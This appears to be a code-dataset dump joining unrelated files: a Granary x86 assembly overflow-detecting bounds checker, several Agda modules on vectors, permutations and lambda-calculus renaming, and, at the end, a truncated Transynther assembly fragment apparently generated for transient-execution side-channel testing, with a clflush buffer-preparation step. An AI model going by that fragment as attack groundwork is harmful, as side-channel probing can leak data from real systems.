push %rax; @N@\
lahf; COMMENT(Save the arithmetic flags) @N@\
@N@\
COMMENT(Get the index into RDX.) @N@\
mov %rdi, %rdx; COMMENT(Copy the watched address into RDX.)@N@\
shr $49, %rdx; COMMENT(Shift the index into the low 15 bits.)@N@\
shl $4, %rdx; COMMENT(Scale the index by sizeof(bound_descriptor).)@N@\
@N@\
COMMENT(Get a pointer to the descriptor. The descriptor table is an array) @N@\
COMMENT(of bound_descriptor structures, each of which is 16 bytes.) @N@\
lea DESCRIPTORS(%rip), %rsi; @N@\
add %rdx, %rsi; COMMENT(Add the scaled index to &(DESCRIPTORS[0]).)@N@\
@N@\
COMMENT(Check the lower bounds against the low 32 bits of the watched address.) @N@\
cmp (%rsi), %edi; @N@\
jl .CAT(Lgranary_underflow_, size); @N@\
@N@\
COMMENT(Check the upper bounds against the low 32 bits of the watched address.) @N@\
mov 4(%rsi), %rsi; @N@\
sub $ size, %rsi; @N@\
cmp %edi, %esi; @N@\
jge .CAT(Lgranary_done_, size); @N@\
.CAT(Lgranary_underflow_, size): @N@\
mov $ size, %rsi; @N@\
jmp SHARED_SYMBOL(granary_detected_overflow); @N@\
.CAT(Lgranary_overflow_, size): @N@\
mov $ size, %rsi; @N@\
jmp SHARED_SYMBOL(granary_detected_overflow); @N@\
.CAT(Lgranary_done_, size): @N@\
sahf; COMMENT(Restore the arithmetic flags.) @N@\
pop %rax; @N@\
pop %rdx; @N@\
pop %rsi; @N@\
pop %rdi; @N@\
ret; @N@\
END_FUNC(CAT(granary_bounds_check_, size)) @N@@N@@N@
GENERIC_BOUNDS_CHECKER(1)
GENERIC_BOUNDS_CHECKER(2)
GENERIC_BOUNDS_CHECKER(4)
GENERIC_BOUNDS_CHECKER(8)
GENERIC_BOUNDS_CHECKER(16)
/// Define a bounds checker and splat the rest of the checkers.
#define DEFINE_CHECKERS(reg, rest) \
DEFINE_CHECKER(reg) \
rest
/// Define the last bounds checker.
#define DEFINE_CHECKER(reg) \
BOUNDS_CHECKER(reg, 1) \
BOUNDS_CHECKER(reg, 2) \
BOUNDS_CHECKER(reg, 4) \
BOUNDS_CHECKER(reg, 8) \
BOUNDS_CHECKER(reg, 16)
/// Define all of the bounds checkers.
GLOBAL_LABEL(granary_first_bounds_checker:)
ALL_REGS(DEFINE_CHECKERS, DEFINE_CHECKER)
GLOBAL_LABEL(granary_last_bounds_checker:)
END_FILE
|
agda-stdlib-0.9/src/Data/Vec/Equality.agda | qwe2/try-agda | 1 | 13559 | <gh_stars>1-10
------------------------------------------------------------------------
-- The Agda standard library
--
-- Semi-heterogeneous vector equality
------------------------------------------------------------------------
module Data.Vec.Equality where
open import Data.Vec
open import Data.Nat using (suc)
open import Function
open import Level using (_⊔_)
open import Relation.Binary
open import Relation.Binary.PropositionalEquality as P using (_≡_)
module Equality {s₁ s₂} (S : Setoid s₁ s₂) where
private
open module SS = Setoid S
using () renaming (_≈_ to _≊_; Carrier to A)
infix 4 _≈_
data _≈_ : ∀ {n¹} → Vec A n¹ →
∀ {n²} → Vec A n² → Set (s₁ ⊔ s₂) where
[]-cong : [] ≈ []
_∷-cong_ : ∀ {x¹ n¹} {xs¹ : Vec A n¹}
{x² n²} {xs² : Vec A n²}
(x¹≈x² : x¹ ≊ x²) (xs¹≈xs² : xs¹ ≈ xs²) →
x¹ ∷ xs¹ ≈ x² ∷ xs²
length-equal : ∀ {n¹} {xs¹ : Vec A n¹}
{n²} {xs² : Vec A n²} →
xs¹ ≈ xs² → n¹ ≡ n²
length-equal []-cong = P.refl
length-equal (_ ∷-cong eq₂) = P.cong suc $ length-equal eq₂
refl : ∀ {n} (xs : Vec A n) → xs ≈ xs
refl [] = []-cong
refl (x ∷ xs) = SS.refl ∷-cong refl xs
sym : ∀ {n m} {xs : Vec A n} {ys : Vec A m} →
xs ≈ ys → ys ≈ xs
sym []-cong = []-cong
sym (x¹≡x² ∷-cong xs¹≈xs²) = SS.sym x¹≡x² ∷-cong sym xs¹≈xs²
trans : ∀ {n m l} {xs : Vec A n} {ys : Vec A m} {zs : Vec A l} →
xs ≈ ys → ys ≈ zs → xs ≈ zs
trans []-cong []-cong = []-cong
trans (x≈y ∷-cong xs≈ys) (y≈z ∷-cong ys≈zs) =
SS.trans x≈y y≈z ∷-cong trans xs≈ys ys≈zs
_++-cong_ : ∀ {n₁¹ n₂¹} {xs₁¹ : Vec A n₁¹} {xs₂¹ : Vec A n₂¹}
{n₁² n₂²} {xs₁² : Vec A n₁²} {xs₂² : Vec A n₂²} →
xs₁¹ ≈ xs₁² → xs₂¹ ≈ xs₂² →
xs₁¹ ++ xs₂¹ ≈ xs₁² ++ xs₂²
[]-cong ++-cong eq₃ = eq₃
(eq₁ ∷-cong eq₂) ++-cong eq₃ = eq₁ ∷-cong (eq₂ ++-cong eq₃)
module DecidableEquality {d₁ d₂} (D : DecSetoid d₁ d₂) where
private module DS = DecSetoid D
open DS using () renaming (_≟_ to _≟′_ ; Carrier to A)
open Equality DS.setoid
open import Relation.Nullary
_≟_ : ∀ {n m} (xs : Vec A n) (ys : Vec A m) → Dec (xs ≈ ys)
_≟_ [] [] = yes []-cong
_≟_ [] (y ∷ ys) = no (λ())
_≟_ (x ∷ xs) [] = no (λ())
_≟_ (x ∷ xs) (y ∷ ys) with xs ≟ ys | x ≟′ y
... | yes xs≈ys | yes x≊y = yes (x≊y ∷-cong xs≈ys)
... | no ¬xs≈ys | _ = no helper
where
helper : ¬ (x ∷ xs ≈ y ∷ ys)
helper (_ ∷-cong xs≈ys) = ¬xs≈ys xs≈ys
... | _ | no ¬x≊y = no helper
where
helper : ¬ (x ∷ xs ≈ y ∷ ys)
helper (x≊y ∷-cong _) = ¬x≊y x≊y
module PropositionalEquality {a} {A : Set a} where
open Equality (P.setoid A) public
to-≡ : ∀ {n} {xs ys : Vec A n} → xs ≈ ys → xs ≡ ys
to-≡ []-cong = P.refl
to-≡ (P.refl ∷-cong xs¹≈xs²) = P.cong (_∷_ _) $ to-≡ xs¹≈xs²
from-≡ : ∀ {n} {xs ys : Vec A n} → xs ≡ ys → xs ≈ ys
from-≡ P.refl = refl _
|
Univalence/FinVec.agda | JacquesCarette/pi-dual | 14 | 10893 | <gh_stars>10-100
{-# OPTIONS --without-K #-}
module FinVec where
-- This is the second step in building a representation of
-- permutations. We use permutations expressed as equivalences (in
-- FinVec) to construct one-line notation for permutations. We have
-- enough structure to model a commutative semiring EXCEPT for
-- symmetry. This will be addressed in ConcretePermutation.
import Level using (zero)
open import Data.Nat using (ℕ; _+_; _*_)
open import Data.Fin using (Fin)
open import Data.Sum
using (_⊎_; inj₁; inj₂)
renaming (map to map⊎)
open import Data.Product using (_×_; proj₁; proj₂; _,′_)
open import Data.Vec
using (Vec; allFin; tabulate; _>>=_)
renaming (_++_ to _++V_; map to mapV)
open import Algebra using (CommutativeSemiring)
open import Algebra.Structures using
(IsSemigroup; IsCommutativeMonoid; IsCommutativeSemiring)
open import Relation.Binary using (IsEquivalence)
open import Relation.Binary.PropositionalEquality
using (_≡_; refl; sym; cong; cong₂; module ≡-Reasoning)
open import Function using (_∘_; id)
--
open import Equiv using (_∼_; p∘!p≡id)
open import TypeEquiv using (swap₊)
open import FinEquivPlusTimes using (module Plus; module Times)
open import FinEquivTypeEquiv using (module PlusE; module TimesE; module PlusTimesE)
open import Proofs using (
-- FiniteFunctions
finext;
-- VectorLemmas
_!!_; tabulate-split
)
------------------------------------------------------------------------------
-- The main goal is to represent permutations in the one-line notation
-- and to develop all the infrastructure to get a commutative
-- semiring, e.g., we can take unions and products of such one-line
-- notations of permutations, etc.
-- This is the type representing permutations in the one-line
-- notation. We will show that it is a commutative semiring
FinVec : ℕ → ℕ → Set
FinVec m n = Vec (Fin m) n
-- The additive and multiplicative units are trivial
1C : {n : ℕ} → FinVec n n
1C {n} = allFin n
-- corresponds to ⊥ ≃ ⊥ × A and other impossibilities but don't use
-- it, as it is abstract and will confuse external proofs!
abstract
0C : FinVec 0 0
0C = 1C {0}
-- sequential composition (transitivity)
_∘̂_ : {n₀ n₁ n₂ : ℕ} → Vec (Fin n₁) n₀ → Vec (Fin n₂) n₁ → Vec (Fin n₂) n₀
π₁ ∘̂ π₂ = tabulate (_!!_ π₂ ∘ _!!_ π₁)
------------------------------------------------------------------------------
-- Additive monoid
private
_⊎v_ : ∀ {m n} {A B : Set} → Vec A m → Vec B n → Vec (A ⊎ B) (m + n)
α ⊎v β = tabulate (inj₁ ∘ _!!_ α) ++V tabulate (inj₂ ∘ _!!_ β)
-- Parallel additive composition
-- conceptually, what we want is
_⊎c'_ : ∀ {m₁ n₁ m₂ n₂} → FinVec m₁ m₂ → FinVec n₁ n₂ →
FinVec (m₁ + n₁) (m₂ + n₂)
_⊎c'_ α β = mapV Plus.fwd (α ⊎v β)
-- but the above is tedious to work with. Instead, inline a bit to get
_⊎c_ : ∀ {m₁ n₁ m₂ n₂} → FinVec m₁ m₂ → FinVec n₁ n₂ →
FinVec (m₁ + n₁) (m₂ + n₂)
_⊎c_ {m₁} α β = tabulate (Plus.fwd ∘ inj₁ ∘ _!!_ α) ++V
tabulate (Plus.fwd {m₁} ∘ inj₂ ∘ _!!_ β)
-- see ⊎c≡⊎c' lemma below
_⊎fv_ : ∀ {m₁ n₁ m₂ n₂} → FinVec m₁ m₂ → FinVec n₁ n₂ →
FinVec (m₁ + n₁) (m₂ + n₂)
_⊎fv_ {m₁} α β =
tabulate (λ j → Plus.fwd (map⊎ (_!!_ α) (_!!_ β) (Plus.bwd j)))
⊎-equiv : ∀ {m₁ n₁ m₂ n₂} → (α : FinVec m₁ m₂) → (β : FinVec n₁ n₂) →
α ⊎c β ≡ α ⊎fv β
⊎-equiv {m₁} {n₁} {m₂} {n₂} α β =
let mm s = map⊎ (_!!_ α) (_!!_ β) s in
let g = Plus.fwd ∘ mm ∘ Plus.bwd in
begin (
tabulate (λ j → Plus.fwd (inj₁ (α !! j))) ++V
tabulate (λ j → Plus.fwd {m₁} (inj₂ (β !! j)))
≡⟨ refl ⟩ -- map⊎ evaluates on inj₁/inj₂
tabulate (Plus.fwd ∘ mm ∘ inj₁) ++V tabulate (Plus.fwd ∘ mm ∘ inj₂)
≡⟨ cong₂ _++V_
(finext (λ i → cong (Plus.fwd ∘ mm)
(sym (Plus.bwd∘fwd~id (inj₁ i)))))
(finext (λ i → cong (Plus.fwd ∘ mm)
(sym (Plus.bwd∘fwd~id (inj₂ i))))) ⟩
tabulate {m₂} (g ∘ Plus.fwd ∘ inj₁) ++V
tabulate {n₂} (g ∘ Plus.fwd {m₂} ∘ inj₂)
≡⟨ sym (tabulate-split {m₂} {n₂} {f = g}) ⟩
tabulate g ∎)
where
open ≡-Reasoning
-- additive units
unite+ : {m : ℕ} → FinVec m (0 + m)
unite+ {m} = tabulate (proj₁ (PlusE.unite+ {m}))
uniti+ : {m : ℕ} → FinVec (0 + m) m
uniti+ {m} = tabulate (proj₁ (PlusE.uniti+ {m}))
unite+r : {m : ℕ} → FinVec m (m + 0)
unite+r {m} = tabulate (proj₁ (PlusE.unite+r {m}))
-- unite+r' : {m : ℕ} → FinVec m (m + 0)
-- unite+r' {m} = tabulate (proj₁ (PlusE.unite+r' {m}))
uniti+r : {m : ℕ} → FinVec (m + 0) m
uniti+r {m} = tabulate (proj₁ (PlusE.uniti+r {m}))
-- commutativity
-- swap the first m elements with the last n elements
-- [ v₀ , v₁ , v₂ , ... , vm-1 , vm , vm₊₁ , ... , vm+n-1 ]
-- ==>
-- [ vm , vm₊₁ , ... , vm+n-1 , v₀ , v₁ , v₂ , ... , vm-1 ]
-- swap+cauchy : (m n : ℕ) → FinVec (n + m) (m + n)
-- swap+cauchy m n = tabulate (Plus.swapper m n)
-- associativity
assocl+ : {m n o : ℕ} → FinVec ((m + n) + o) (m + (n + o))
assocl+ {m} {n} {o} = tabulate (proj₁ (PlusE.assocl+ {m} {n} {o}))
assocr+ : {m n o : ℕ} → FinVec (m + (n + o)) (m + n + o)
assocr+ {m} {n} {o} = tabulate (proj₁ (PlusE.assocr+ {m} {n} {o}))
------------------------------------------------------------------------------
-- Multiplicative monoid
private
_×v_ : ∀ {m n} {A B : Set} → Vec A m → Vec B n → Vec (A × B) (m * n)
α ×v β = α >>= (λ b → mapV (_,′_ b) β)
-- Tensor multiplicative composition
-- Transpositions in α correspond to swapping entire rows
-- Transpositions in β correspond to swapping entire columns
_×c_ : ∀ {m₁ n₁ m₂ n₂} → FinVec m₁ m₂ → FinVec n₁ n₂ →
FinVec (m₁ * n₁) (m₂ * n₂)
α ×c β = mapV Times.fwd (α ×v β)
-- multiplicative units
unite* : {m : ℕ} → FinVec m (1 * m)
unite* {m} = tabulate (proj₁ (TimesE.unite* {m}))
uniti* : {m : ℕ} → FinVec (1 * m) m
uniti* {m} = tabulate (proj₁ (TimesE.uniti* {m}))
unite*r : {m : ℕ} → FinVec m (m * 1)
unite*r {m} = tabulate (proj₁ (TimesE.unite*r {m}))
uniti*r : {m : ℕ} → FinVec (m * 1) m
uniti*r {m} = tabulate (proj₁ (TimesE.uniti*r {m}))
-- commutativity
-- swap⋆
--
-- This is essentially the classical problem of in-place matrix transpose:
-- "http://en.wikipedia.org/wiki/In-place_matrix_transposition"
-- Given m and n, the desired permutation in Cauchy representation is:
-- P(i) = m*n-1 if i=m*n-1
-- = m*i mod m*n-1 otherwise
-- transposeIndex : {m n : ℕ} → Fin m × Fin n → Fin (n * m)
-- transposeIndex = Times.fwd ∘ swap
-- inject≤ (fromℕ (toℕ d * m + toℕ b)) (i*n+k≤m*n d b)
-- swap⋆cauchy : (m n : ℕ) → FinVec (n * m) (m * n)
-- swap⋆cauchy m n = tabulate (Times.swapper m n)
-- mapV transposeIndex (V.tcomp 1C 1C)
-- associativity
assocl* : {m n o : ℕ} → FinVec ((m * n) * o) (m * (n * o))
assocl* {m} {n} {o} = tabulate (proj₁ (TimesE.assocl* {m} {n} {o}))
assocr* : {m n o : ℕ} → FinVec (m * (n * o)) (m * n * o)
assocr* {m} {n} {o} = tabulate (proj₁ (TimesE.assocr* {m} {n} {o}))
------------------------------------------------------------------------------
-- Distributivity
dist*+ : ∀ {m n o} → FinVec (m * o + n * o) ((m + n) * o)
dist*+ {m} {n} {o} = tabulate (proj₁ (PlusTimesE.dist {m} {n} {o}))
factor*+ : ∀ {m n o} → FinVec ((m + n) * o) (m * o + n * o)
factor*+ {m} {n} {o} = tabulate (proj₁ (PlusTimesE.factor {m} {n} {o}))
distl*+ : ∀ {m n o} → FinVec (m * n + m * o) (m * (n + o))
distl*+ {m} {n} {o} = tabulate (proj₁ (PlusTimesE.distl {m} {n} {o}))
factorl*+ : ∀ {m n o} → FinVec (m * (n + o)) (m * n + m * o)
factorl*+ {m} {n} {o} = tabulate (proj₁ (PlusTimesE.factorl {m} {n} {o}))
right-zero*l : ∀ {m} → FinVec 0 (m * 0)
right-zero*l {m} = tabulate (proj₁ (PlusTimesE.distzr {m}))
right-zero*r : ∀ {m} → FinVec (m * 0) 0
right-zero*r {m} = tabulate (proj₁ (PlusTimesE.factorzr {m}))
------------------------------------------------------------------------------
-- Putting it all together, we have a commutative semiring structure
-- (modulo symmetry)
_cauchy≃_ : (m n : ℕ) → Set
m cauchy≃ n = FinVec m n
id-iso : {m : ℕ} → FinVec m m
id-iso = 1C
-- This is only here to show that we do have everything for a
-- commutative semiring structure EXCEPT for symmetry; this is
-- addressed in ConcretePermutation
postulate sym-iso : {m n : ℕ} → FinVec m n → FinVec n m
trans-iso : {m n o : ℕ} → FinVec m n → FinVec n o → FinVec m o
trans-iso c₁ c₂ = c₂ ∘̂ c₁
cauchy≃IsEquiv : IsEquivalence {Level.zero} {Level.zero} {ℕ} _cauchy≃_
cauchy≃IsEquiv = record {
refl = id-iso ;
sym = sym-iso ;
trans = trans-iso
}
cauchyPlusIsSG : IsSemigroup {Level.zero} {Level.zero} {ℕ} _cauchy≃_ _+_
cauchyPlusIsSG = record {
isEquivalence = cauchy≃IsEquiv ;
assoc = λ m n o → assocl+ {m} {n} {o} ;
∙-cong = _⊎c_
}
cauchyTimesIsSG : IsSemigroup {Level.zero} {Level.zero} {ℕ} _cauchy≃_ _*_
cauchyTimesIsSG = record {
isEquivalence = cauchy≃IsEquiv ;
assoc = λ m n o → assocl* {m} {n} {o} ;
∙-cong = _×c_
}
{--
cauchyPlusIsCM : IsCommutativeMonoid _cauchy≃_ _+_ 0
cauchyPlusIsCM = record {
isSemigroup = cauchyPlusIsSG ;
identityˡ = λ m → 1C ;
comm = λ m n → swap+cauchy n m
}
cauchyTimesIsCM : IsCommutativeMonoid _cauchy≃_ _*_ 1
cauchyTimesIsCM = record {
isSemigroup = cauchyTimesIsSG ;
identityˡ = λ m → uniti* {m} ;
comm = λ m n → swap⋆cauchy n m
}
cauchyIsCSR : IsCommutativeSemiring _cauchy≃_ _+_ _*_ 0 1
cauchyIsCSR = record {
+-isCommutativeMonoid = cauchyPlusIsCM ;
*-isCommutativeMonoid = cauchyTimesIsCM ;
distribʳ = λ o m n → factor*+ {m} {n} {o} ;
zeroˡ = λ m → 0C
}
cauchyCSR : CommutativeSemiring Level.zero Level.zero
cauchyCSR = record {
Carrier = ℕ ;
_≈_ = _cauchy≃_ ;
_+_ = _+_ ;
_*_ = _*_ ;
0# = 0 ;
1# = 1 ;
isCommutativeSemiring = cauchyIsCSR
}
--}
------------------------------------------------------------------------------
|
src/STLC/Coquand/Renaming.agda | mietek/coquand-kovacs | 0 | 12029 | <filename>src/STLC/Coquand/Renaming.agda
module STLC.Coquand.Renaming where
open import STLC.Syntax public
open import Category
--------------------------------------------------------------------------------
-- Renamings
infix 4 _∋⋆_
data _∋⋆_ : 𝒞 → 𝒞 → Set
where
∅ : ∀ {Γ} → Γ ∋⋆ ∅
_,_ : ∀ {Γ Γ′ A} → (η : Γ′ ∋⋆ Γ) (i : Γ′ ∋ A)
→ Γ′ ∋⋆ Γ , A
putᵣ : ∀ {Γ Γ′} → (∀ {A} → Γ ∋ A → Γ′ ∋ A) → Γ′ ∋⋆ Γ
putᵣ {∅} f = ∅
putᵣ {Γ , A} f = putᵣ (λ i → f (suc i)) , f 0
getᵣ : ∀ {Γ Γ′ A} → Γ′ ∋⋆ Γ → Γ ∋ A → Γ′ ∋ A
getᵣ (η , i) zero = i
getᵣ (η , i) (suc j) = getᵣ η j
wkᵣ : ∀ {A Γ Γ′} → Γ′ ∋⋆ Γ → Γ′ , A ∋⋆ Γ
wkᵣ ∅ = ∅
wkᵣ (η , i) = wkᵣ η , suc i
liftᵣ : ∀ {A Γ Γ′} → Γ′ ∋⋆ Γ → Γ′ , A ∋⋆ Γ , A
liftᵣ η = wkᵣ η , 0
idᵣ : ∀ {Γ} → Γ ∋⋆ Γ
idᵣ {∅} = ∅
idᵣ {Γ , A} = liftᵣ idᵣ
ren : ∀ {Γ Γ′ A} → Γ′ ∋⋆ Γ → Γ ⊢ A → Γ′ ⊢ A
ren η (𝓋 i) = 𝓋 (getᵣ η i)
ren η (ƛ M) = ƛ (ren (liftᵣ η) M)
ren η (M ∙ N) = ren η M ∙ ren η N
wk : ∀ {B Γ A} → Γ ⊢ A → Γ , B ⊢ A
wk M = ren (wkᵣ idᵣ) M
-- NOTE: _○_ = getᵣ⋆
_○_ : ∀ {Γ Γ′ Γ″} → Γ″ ∋⋆ Γ′ → Γ′ ∋⋆ Γ → Γ″ ∋⋆ Γ
η₁ ○ ∅ = ∅
η₁ ○ (η₂ , i) = η₁ ○ η₂ , getᵣ η₁ i
--------------------------------------------------------------------------------
-- (wkgetᵣ)
natgetᵣ : ∀ {Γ Γ′ A B} → (η : Γ′ ∋⋆ Γ) (i : Γ ∋ A)
→ getᵣ (wkᵣ {B} η) i ≡ (suc ∘ getᵣ η) i
natgetᵣ (η , j) zero = refl
natgetᵣ (η , j) (suc i) = natgetᵣ η i
idgetᵣ : ∀ {Γ A} → (i : Γ ∋ A)
→ getᵣ idᵣ i ≡ i
idgetᵣ zero = refl
idgetᵣ (suc i) = natgetᵣ idᵣ i
⦙ suc & idgetᵣ i
idren : ∀ {Γ A} → (M : Γ ⊢ A)
→ ren idᵣ M ≡ M
idren (𝓋 i) = 𝓋 & idgetᵣ i
idren (ƛ M) = ƛ & idren M
idren (M ∙ N) = _∙_ & idren M
⊗ idren N
--------------------------------------------------------------------------------
zap○ : ∀ {Γ Γ′ Γ″ A} → (η₁ : Γ″ ∋⋆ Γ′) (η₂ : Γ′ ∋⋆ Γ) (i : Γ″ ∋ A)
→ (η₁ , i) ○ wkᵣ η₂ ≡ η₁ ○ η₂
zap○ η₁ ∅ i = refl
zap○ η₁ (η₂ , j) i = (_, getᵣ η₁ j) & zap○ η₁ η₂ i
lid○ : ∀ {Γ Γ′} → (η : Γ′ ∋⋆ Γ)
→ idᵣ ○ η ≡ η
lid○ ∅ = refl
lid○ (η , i) = _,_ & lid○ η
⊗ idgetᵣ i
rid○ : ∀ {Γ Γ′} → (η : Γ′ ∋⋆ Γ)
→ η ○ idᵣ ≡ η
rid○ {∅} ∅ = refl
rid○ {Γ , A} (η , i) = (_, i) & ( zap○ η idᵣ i
⦙ rid○ η
)
--------------------------------------------------------------------------------
get○ : ∀ {Γ Γ′ Γ″ A} → (η₁ : Γ″ ∋⋆ Γ′) (η₂ : Γ′ ∋⋆ Γ) (i : Γ ∋ A)
→ getᵣ (η₁ ○ η₂) i ≡ (getᵣ η₁ ∘ getᵣ η₂) i
get○ η₁ (η₂ , j) zero = refl
get○ η₁ (η₂ , j) (suc i) = get○ η₁ η₂ i
wk○ : ∀ {Γ Γ′ Γ″ A} → (η₁ : Γ″ ∋⋆ Γ′) (η₂ : Γ′ ∋⋆ Γ)
→ wkᵣ {A} (η₁ ○ η₂) ≡ wkᵣ η₁ ○ η₂
wk○ η₁ ∅ = refl
wk○ η₁ (η₂ , i) = _,_ & wk○ η₁ η₂
⊗ (natgetᵣ η₁ i ⁻¹)
lift○ : ∀ {Γ Γ′ Γ″ A} → (η₁ : Γ″ ∋⋆ Γ′) (η₂ : Γ′ ∋⋆ Γ)
→ liftᵣ {A} (η₁ ○ η₂) ≡ liftᵣ η₁ ○ liftᵣ η₂
lift○ η₁ η₂ = (_, 0) & ( wk○ η₁ η₂
⦙ (zap○ (wkᵣ η₁) η₂ 0 ⁻¹)
)
wklid○ : ∀ {Γ Γ′ A} → (η : Γ′ ∋⋆ Γ)
→ wkᵣ {A} idᵣ ○ η ≡ wkᵣ η
wklid○ η = wk○ idᵣ η ⁻¹
⦙ wkᵣ & lid○ η
wkrid○ : ∀ {Γ Γ′ A} → (η : Γ′ ∋⋆ Γ)
→ wkᵣ {A} η ○ idᵣ ≡ wkᵣ η
wkrid○ η = wk○ η idᵣ ⁻¹
⦙ wkᵣ & rid○ η
liftwkrid○ : ∀ {Γ Γ′ A} → (η : Γ′ ∋⋆ Γ)
→ liftᵣ {A} η ○ wkᵣ idᵣ ≡ wkᵣ η
liftwkrid○ η = zap○ (wkᵣ η) idᵣ 0 ⦙ wkrid○ η
mutual
ren○ : ∀ {Γ Γ′ Γ″ A} → (η₁ : Γ″ ∋⋆ Γ′) (η₂ : Γ′ ∋⋆ Γ) (M : Γ ⊢ A)
→ ren (η₁ ○ η₂) M ≡ (ren η₁ ∘ ren η₂) M
ren○ η₁ η₂ (𝓋 i) = 𝓋 & get○ η₁ η₂ i
ren○ η₁ η₂ (ƛ M) = ƛ & renlift○ η₁ η₂ M
ren○ η₁ η₂ (M ∙ N) = _∙_ & ren○ η₁ η₂ M
⊗ ren○ η₁ η₂ N
renlift○ : ∀ {Γ Γ′ Γ″ A B} → (η₁ : Γ″ ∋⋆ Γ′) (η₂ : Γ′ ∋⋆ Γ) (M : Γ , B ⊢ A)
→ ren (liftᵣ {B} (η₁ ○ η₂)) M ≡
(ren (liftᵣ η₁) ∘ ren (liftᵣ η₂)) M
renlift○ η₁ η₂ M = (λ η′ → ren η′ M) & lift○ η₁ η₂
⦙ ren○ (liftᵣ η₁) (liftᵣ η₂) M
renwk○ : ∀ {Γ Γ′ Γ″ A B} → (η₁ : Γ″ ∋⋆ Γ′) (η₂ : Γ′ ∋⋆ Γ) (M : Γ ⊢ A)
→ ren (wkᵣ {B} (η₁ ○ η₂)) M ≡
(ren (wkᵣ η₁) ∘ ren η₂) M
renwk○ η₁ η₂ M = (λ η′ → ren η′ M) & wk○ η₁ η₂
⦙ ren○ (wkᵣ η₁) η₂ M
renliftwk○ : ∀ {Γ Γ′ Γ″ A B} → (η₁ : Γ″ ∋⋆ Γ′) (η₂ : Γ′ ∋⋆ Γ) (M : Γ ⊢ A)
→ ren (wkᵣ {B} (η₁ ○ η₂)) M ≡
(ren (liftᵣ η₁) ∘ ren (wkᵣ η₂)) M
renliftwk○ η₁ η₂ M = (λ η′ → ren η′ M) & ( wk○ η₁ η₂
⦙ zap○ (wkᵣ η₁) η₂ 0 ⁻¹
)
⦙ ren○ (liftᵣ η₁) (wkᵣ η₂) M
--------------------------------------------------------------------------------
assoc○ : ∀ {Γ Γ′ Γ″ Γ‴} → (η₁ : Γ‴ ∋⋆ Γ″) (η₂ : Γ″ ∋⋆ Γ′) (η₃ : Γ′ ∋⋆ Γ)
→ η₁ ○ (η₂ ○ η₃) ≡ (η₁ ○ η₂) ○ η₃
assoc○ η₁ η₂ ∅ = refl
assoc○ η₁ η₂ (η₃ , i) = _,_ & assoc○ η₁ η₂ η₃
⊗ (get○ η₁ η₂ i ⁻¹)
--------------------------------------------------------------------------------
𝗥𝗲𝗻 : Category 𝒞 _∋⋆_
𝗥𝗲𝗻 =
record
{ idₓ = idᵣ
; _⋄_ = flip _○_
; lid⋄ = rid○
; rid⋄ = lid○
; assoc⋄ = assoc○
}
getᵣPsh : 𝒯 → Presheaf₀ 𝗥𝗲𝗻
getᵣPsh A =
record
{ Fₓ = _∋ A
; F = getᵣ
; idF = fext! idgetᵣ
; F⋄ = λ η₂ η₁ → fext! (get○ η₁ η₂)
}
renPsh : 𝒯 → Presheaf₀ 𝗥𝗲𝗻
renPsh A =
record
{ Fₓ = _⊢ A
; F = ren
; idF = fext! idren
; F⋄ = λ η₂ η₁ → fext! (ren○ η₁ η₂)
}
--------------------------------------------------------------------------------
|
test/Succeed/Issue1013.agda | cruhland/agda | 1,989 | 16026 | <reponame>cruhland/agda<gh_stars>1000+
{-# OPTIONS --allow-unsolved-metas #-}
postulate
A : Set
a : A
record Q .(x : A) : Set where
field q : A
record R : Set where
field s : Q _
t : A
t = Q.q s
|
models/Records.agda | mietek/epigram | 48 | 9830 | <reponame>mietek/epigram
module Records where
data Sigma (A : Set) (B : A -> Set) : Set where
_,_ : (x : A) (y : B x) -> Sigma A B
fst : {A : Set}{B : A -> Set} -> Sigma A B -> A
fst (x , y) = x
snd : {A : Set}{B : A -> Set} -> (p : Sigma A B) -> B (fst p)
snd (x , y) = y
data Sigma1 (A : Set1) (B : A -> Set1) : Set1 where
_,_ : (x : A) (y : B x) -> Sigma1 A B
fst1 : {A : Set1}{B : A -> Set1} -> Sigma1 A B -> A
fst1 (x , y) = x
snd1 : {A : Set1}{B : A -> Set1} -> (p : Sigma1 A B) -> B (fst1 p)
snd1 (x , y) = y
data Zero : Set where
data Unit : Set where
Void : Unit
data Test1 : Set where
data Test2 : Set where
data Test3 : Set where
data Nat : Set where
ze : Nat
su : Nat -> Nat
data Fin : Nat -> Set where
fze : {n : Nat} -> Fin (su n)
fsu : {n : Nat} -> Fin n -> Fin (su n)
mutual
data Sig : Set1 where
Epsilon : Sig
_<_ : (S : Sig)(A : [| S |] -> Set) -> Sig
[|_|] : Sig -> Set
[| Epsilon |] = Unit
[| S < A |] = Sigma [| S |] A
size : Sig -> Nat
size Epsilon = ze
size (S < A) = su (size S)
typeAt : (S : Sig) -> Fin (size S) -> Sigma1 Sig (\ S -> [| S |] -> Set)
typeAt Epsilon ()
typeAt (S < A) fze = ( S , A )
typeAt (S < A) (fsu y) = typeAt S y
fsts : (S : Sig)(i : Fin (size S)) -> [| S |] -> [| fst1 (typeAt S i) |]
fsts Epsilon () rec
fsts (S < A) fze rec = fst rec
fsts (S < A) (fsu y) rec = fsts S y (fst rec)
at : (S : Sig)(i : Fin (size S))(rec : [| S |]) -> snd1 (typeAt S i) (fsts S i rec)
at Epsilon () rec
at (S < A) fze rec = snd rec
at (S < A) (fsu y) rec = at S y (fst rec)
-- * Record definition combinators:
-- ** Non dependant case works:
fi : {a : Set1} -> (S : Sig) -> Set -> (Sig -> a) -> a
fi S A k = k (S < (\_ -> A))
begin : {a : Set1} -> (Sig -> a) -> a
begin k = k Epsilon
end : (Sig -> Sig)
end x = x
test : Sig
test = begin fi Test1 fi Test2 fi Test3 end
-- ** Dependant case doesn't:
fiD : {a : Sig -> Set1} -> (S : Sig) -> (A : ([| S |] -> Set)) -> ((S : Sig) -> a S) -> a (S < A)
fiD S A k = k (S < A)
beginD : {a : Sig -> Set1} -> ((S : Sig) -> a S) -> a Epsilon
beginD k = k Epsilon
endD : (Sig -> Sig)
endD x = x
test2 : Sig
test2 = beginD fiD ((\ _ -> Test1)) fiD {!!} fiD {!!} endD |
Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xa0.log_21829_1885.asm | ljhsiun2/medusa | 9 | 105211 | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r15
push %r8
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x19124, %rsi
lea addresses_WC_ht+0x39a4, %rdi
nop
nop
xor $42712, %r15
mov $98, %rcx
rep movsq
nop
nop
nop
nop
nop
add %rdi, %rdi
lea addresses_normal_ht+0xbda4, %r8
clflush (%r8)
sub $2223, %r15
movb (%r8), %r12b
sub %rdi, %rdi
